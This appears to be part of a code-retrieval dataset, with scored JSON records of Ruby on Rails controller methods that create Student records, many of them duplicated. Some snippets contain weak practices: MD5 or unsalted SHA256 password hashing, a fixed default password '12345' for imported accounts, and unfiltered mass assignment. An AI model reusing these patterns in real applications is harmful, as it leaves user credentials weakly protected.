"text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "66d8e4fb4836ed1e9cca0be7b585d328",
"score": "0.70929575",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_path, notice: 'Student was successfully created.' }\n #format.json { render :index, status: :created, location: @student }\n else\n format.html { render :new }\n #format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08afe58c5fb16889f4468beefea7bbd5",
"score": "0.7060253",
"text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c5bb4241300cf1283c9189db4d550b3",
"score": "0.7010521",
"text": "def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created\n else\n render json: @student.errors.full_messages, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5afa8751df7b881b2d90d8b09dcc5ddd",
"score": "0.6979902",
"text": "def get_student(parameters)\n json_post('students/api.json', parameters)\n end",
"title": ""
},
{
"docid": "d2a615fe4ac571a87753eb8f9945f350",
"score": "0.69791585",
"text": "def create\n @student = current_user.students.build(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "15956afc308a66e97c1018049399133e",
"score": "0.6956888",
"text": "def create\n @student = Student.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd2674f24e0b76827b9d53cea72ff335",
"score": "0.6952658",
"text": "def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fd2674f24e0b76827b9d53cea72ff335",
"score": "0.6952658",
"text": "def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656",
"score": "0.6949918",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e92eb1c2c90d371b9f58361f34aa49bf",
"score": "0.69449145",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e92eb1c2c90d371b9f58361f34aa49bf",
"score": "0.69449145",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e7a353ba3f3cd7c27de76cba347da92a",
"score": "0.69249874",
"text": "def create\n @stud = Stud.new(stud_params)\n\n respond_to do |format|\n if @stud.save\n format.html { redirect_to @stud, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @stud }\n else\n format.html { render :new }\n format.json { render json: @stud.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6113bb1b1df0795458f0b8a53719fd67",
"score": "0.6923808",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n # noinspection RailsParamDefResolve\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "38545201b81170d19b7e1aac56f072aa",
"score": "0.6913637",
"text": "def create\n @student = Student.new student_params\n\n if @student.save!\n render json: @student, serializer: V1::SessionSerializer, root: nil\n else\n render json: { error: t('student_create_error') }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "e1f8e0fcfbe2cb15e0b54fe284fca7e8",
"score": "0.6900114",
"text": "def create\n params.require([:nome_estudante, :cpf, :genero, :tipo_pagamento])\n\n @student_data = params\n .permit(:nome_estudante, :cpf, :data_nascimento, :telefone_celular, :genero, :tipo_pagamento)\n\n # Create object\n @student = Student.new(@student_data)\n\n # Try to save the object into DB\n if @student.save\n\t\t\t\t render json: {\n status: \"Success\", \n message: \"Student saved.\", \n data: @student.as_json(only: [:id, :nome_estudante, :cpf, :data_nascimento, :telefone_celular, :genero, :tipo_pagamento])\n }, status: :ok\n\t\t\t\telse\n\t\t\t\t render json: {\n status: \"Error\", \n message: \"Student not saved.\", \n data: @student.errors\n }, status: :unprocessable_entity\n end\n\n end",
"title": ""
},
{
"docid": "8a629089ca92f2a77e0082bf47d7ea2e",
"score": "0.6898413",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to edit_student_path(@student), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f16d9087b82fb6d456fee883cc4a7cac",
"score": "0.6893392",
"text": "def create\n\t\t@student = Student.new(student_params)\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tformat.html { redirect_to @student, notice: 'Student was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @student }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @student.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "41e61e84224b1475da2de8de7fc3cd6c",
"score": "0.6882436",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41e61e84224b1475da2de8de7fc3cd6c",
"score": "0.6882436",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41e61e84224b1475da2de8de7fc3cd6c",
"score": "0.6882436",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5350d742b69b42c7fb40f8e4cec17b2",
"score": "0.6875445",
"text": "def create\n @student = current_user.students.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"已成功创建学生账户:#{@student.name}. \"}\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "417e9ce015a0557b617ef294faae8bad",
"score": "0.68585974",
"text": "def create\n @student = Student.new(student_params)\n if @student.save\n render json: {msg: 'Estudiante agregado con éxito'}\n else\n render json: {msg: 'No se pudo agregar al estudiante'}\n end\n end",
"title": ""
},
{
"docid": "d75e32e236e55400cd082a8bbdaa5a2c",
"score": "0.68487406",
"text": "def create\n @student = Student.new(\n first_name: params[:first_name] || \"\",\n last_name: params[:last_name] || \"\",\n email: params[:email] || current_user.email || \"\",\n phone_number: params[:phone_number] || \"\",\n short_bio: params[:short_bio] || \"\",\n linkedin_url: params[:linkedin_url] || \"\",\n twitter_handle: params[:twitter_handle] || \"\",\n personal_blog_url: params[:personal_blog_url] || \"\",\n online_resume_url: params[:online_resume_url] || \"\",\n github_url: params[:github_url] || \"\",\n photo_url: params[:photo_url] || \"\"\n ) \n if @student.save\n render json: @student, status: 201\n end \n end",
"title": ""
},
{
"docid": "88c71ba3fbdab19c8333a88a8c03328f",
"score": "0.6836136",
"text": "def create\n \n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f43a7aacceb83d463d76d84d67c56b7",
"score": "0.68341017",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\nend",
"title": ""
},
{
"docid": "ec1d39cb9a66ff89ce0a457cb543b177",
"score": "0.68135476",
"text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to [:admin, @student], :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41f58b16d3bc12d4f526c15b41a3e146",
"score": "0.6800548",
"text": "def create\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46d50092ed7ddd36dc91e101adf7a6ff",
"score": "0.67869365",
"text": "def create\n @student = Student.new(params[:student])\n\n if @student.save\n respond_with @student, status: :created, location: @student\n else\n respond_with @student, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3c80dd60f0946daf3a32b454ac00db72",
"score": "0.6766771",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Estudando criado com sucesso.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "773e3d385784fc5d59afccbb0b3e056a",
"score": "0.6740176",
"text": "def create\n @student_testimony = StudentTestimony.new(student_testimony_params)\n\n if @student_testimony.save\n render :show, status: :created, location: @student_testimony\n else\n render json: @student_testimony.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "2e33ba74376e185195d538245a79372b",
"score": "0.6730483",
"text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n @organisation.students << @student\n @student.lessons.each do |lesson|\n Registration.create(student_id: @student.id, lesson_id: lesson.id )\n end\n format.html { redirect_to [@organisation, @student], notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dfff09e343a884156314d699dca76fd2",
"score": "0.6726573",
"text": "def create\n @student = Student.new(student_params)\n @current_user = User.find_by email: params[:email]\n @student.user_id = @current_user.id\n \n if @student.save\n #respond_with @student\n render json: @student\n #format.html { redirect_to @student, notice: 'Student was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @student }\n else\n respond_with @student.errors, status: :unprocessable_entity\n #format.html { render action: 'new' }\n #format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end",
"title": ""
},
{
"docid": "a3bbbf090d946f906986ed6105b92b27",
"score": "0.6702979",
"text": "def create\n fname = \"#{self.class.name}.#{__method__}\"\n @student = Student.new(student_params)\n respond_to do |format|\n if @student.save!\n @student.update_custo_in_student_responsible(student_params[:responsible_ids])\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd4a53c313e1470aac925c91706319bd",
"score": "0.6687848",
"text": "def create\n @student = @course.students.new(student_params)\n\n respond_to do |format|\n if @course.save\n # Course.find(params[:course_id]).students << @student\n format.html { redirect_to course_students_path(@course), notice: 'Estudiante creado' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc968d71c80b5d9ab933c20235a77920",
"score": "0.66418755",
"text": "def create_students\n @student = nil\n\n if helpers.is_admin?(current_user)\n @student = current_user.students.build(new_student_params)\n else\n teacher = Teacher.find_by_user_id(current_user.id)\n @student = teacher.students.build(new_student_params)\n end\n\n classroom_id = params[:student][:class_room_id]\n classroom = ClassRoom.find_by_id(classroom_id)\n department_id = classroom.department.id\n @student.department_id = department_id\n\n if @student.teacher_id.present? && classroom.teacher_id != current_user.id\n redirect_to students_staffs_path, alert: \"You are not the class teacher of: #{classroom.name}, so you can't add a student to this class.\" and return\n end\n\n if @student.save\n redirect_to students_staffs_path, notice: \"#{@student.first_name.capitalize} added successfully\"\n else\n render 'api/v1/staffs/new_student'\n end\n end",
"title": ""
},
{
"docid": "ff7cdfd521c9d571de441ddb67f5aa72",
"score": "0.6628126",
"text": "def create_students\n students_url = \"http://104.131.73.180/api/v1/cohorts/#{self.id}/students\"\n students = HTTParty.get(students_url)\n students[\"students\"].each do |student|\n new_student = Student.create(\n id: student[\"id\"],\n name: student[\"data\"][\"first\"] + \" \" + student[\"data\"][\"last\"],\n email: student[\"contact\"][\"email\"],\n cohort_id: self.id,\n phone_number: student[\"contact\"][\"phone\"],\n password: \"12345\"\n )\n # Pony.mail(:to => new_student.email, :from => 'me@ga.co', :subject => 'New Account for GA Attendance created', :body => \"Hello there, #{new_student.name}! We have created an account for you to track your attendance at GA. Your temporary password is 12345. Please log in soon to change it!\")\n end\n end",
"title": ""
},
{
"docid": "17447fc4b7fd4a30f7aea1fe0aeb55da",
"score": "0.66129005",
"text": "def create\n @student = Student.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n flash.now[:error] = @student.errors.full_messages.join(', ')\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68deda1093c73d23c79ee6111fee0752",
"score": "0.6612212",
"text": "def create\n student_params[:password] = \"#{Digest::SHA256.hexdigest student_params[:password]}\"\n student = Student.new(student_params)\n puts student\n if student.save\n render json: {status: 'SUCCESS', message:'Saved student', data:student},status: :ok\n else\n render json: {status: 'ERROR', message:'Students not saved', data:student.errors},status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "77061bfe536a2a3d3e3d906289c3dea9",
"score": "0.65835404",
"text": "def create\n @sections_student = SectionsStudents.new(sections_student_params)\n\n respond_to do |format|\n if @sections_student.save\n format.html { redirect_to @sections_student, notice: 'Sections students was successfully created.' }\n format.json { render :show, status: :created, location: @sections_student }\n else\n format.html { render :new }\n format.json { render json: @sections_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e94fc653c46c35ae7b3705f57f09e30b",
"score": "0.6579042",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to index, notice: 'done' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :index}\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d2d7930cdab90765c8406c2a1cd75d7",
"score": "0.65339094",
"text": "def create\n @params = params\n @student = Student.new(student_params)\n respond_to do |format|\n if @student.save\n #Student.subject(@student)\n format.html { redirect_to action: \"index\" }\n format.json { render :index }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "808860a584dc3bc32b26760cee06ae56",
"score": "0.6526264",
"text": "def students\n if usernames\n data = {}\n usernames.each {|u| data[u.username] = u.students}\n render json: data and return\n elsif current_user\n render json: {status: \"success\", response: current_user.students} and return\n else\n render json: {status: StatusCode::FAILURE, reason: \"no data provided\"}\n end\n end",
"title": ""
},
{
"docid": "023c6142fb1d39c16443f9465c894e0a",
"score": "0.65194607",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n login_s @student\n flash[:success] = \"Welcome to the Lease Finder!\"\n format.html { redirect_to @student }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cc07cb89f6dba44ab83b20b0edab16b3",
"score": "0.6505204",
"text": "def create\n @student = Student.new(processed_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, flash: {notice: \"Schueler wurde erfolgreich erstellt\"} }\n format.json { render action: 'show', status: :created, location: @student }\n else\n flash[:error] = 'Schueler konnte nicht angelegt werden'\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69912462928903adabb452227cf8f6a9",
"score": "0.6500884",
"text": "def create\n\n @student = Student.new(student_params)\n @student.create_person(student_params[:person_attributes])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Estudiante creado exitosamente.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "717a9f1b974c6f1b28af8f66ff954db4",
"score": "0.6496049",
"text": "def create\n authorize! :manage, Student\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b2de56b0d33cff471eee67608d8d58b",
"score": "0.6494188",
"text": "def create\n @student = Student.new(post_params)\n @student.save\n redirect_to student_path(@student)\n end",
"title": ""
},
{
"docid": "9d3b628b2bd8ff76b888a1feea764ee6",
"score": "0.64912117",
"text": "def students\n @teacher = Teacher.find(params[:teacher_id])\n @students = Student.find_all_by_teacher_id(params[:teacher_id])\n\n respond_to do |format|\n format.html # students.html.erb\n format.json { render json: @students }\n end\n end",
"title": ""
},
{
"docid": "88f21e3e362a42ed5c7fcb21f60cbcb3",
"score": "0.6482768",
"text": "def save_student(body)\n #Set the connection to the endpoint \n connection_post = Faraday.new(url: URL_POST_STUDENT)\n response = connection_post.post do |req|\n req.body = JSON.dump(body)\n end\n \n puts JSON.dump(body)\n puts response.status\n p response.body\n end",
"title": ""
},
{
"docid": "b0937c54b55fab9c58b0e2b29ccab558",
"score": "0.647745",
"text": "def good_students\n @students = Student.good_students\n respond_to do |format|\n format.json { render :json => @students }\n end\n end",
"title": ""
},
{
"docid": "bd4808ef603251f6cb833f3ea804fc20",
"score": "0.64767164",
"text": "def create\n #remove program field in params\n if !params[:student][:registrations_attributes].nil?\n @registrations = params[:student][:registrations_attributes]\n end\n params[:student].delete \"registrations_attributes\"\n puts @registrations\n @student = Student.new(params[:student])\n puts @student.save\n respond_to do |format|\n if @student.save\n unless @registrations.nil? || @registrations.empty?\n @registrations.each do |reg|\n @registration = Registration.new({:student_id =>@student.id, :section_id => reg.second[\"section_id\"].to_i})\n @registration.save\n end\n end\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n puts \"NEW NEW NEW NEW NEW\"\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0dfd7a35a25dfc1ab0fd2096d3e924b3",
"score": "0.6462936",
"text": "def create\n @student = Student.new(params[:student])\n\n o = [('a'..'z'), ('A'..'Z')].map { |i| i.to_a }.flatten\n @student.salt = (0...50).map { o[rand(o.length)] }.join\n \n @student.password = Digest::MD5.hexdigest( @@pepper + @student.password + @student.salt )\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c3fc31fc21075c1966d03e7e6b5bb49a",
"score": "0.6461373",
"text": "def create\n @student = Student.new(student_params)\n\n student_respond @student.save, :new\n end",
"title": ""
},
{
"docid": "7e69ff74a507461de74adb713ea25e05",
"score": "0.6457633",
"text": "def create\n @event_student = EventStudent.new(event_student_params)\n\n respond_to do |format|\n if @event_student.save\n format.html { redirect_to @event_student, notice: 'Event student was successfully created.' }\n format.json { render :show, status: :created, location: @event_student }\n else\n format.html { render :new }\n format.json { render json: @event_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1c1e6ac34996c406c027646519c560d4",
"score": "0.6444774",
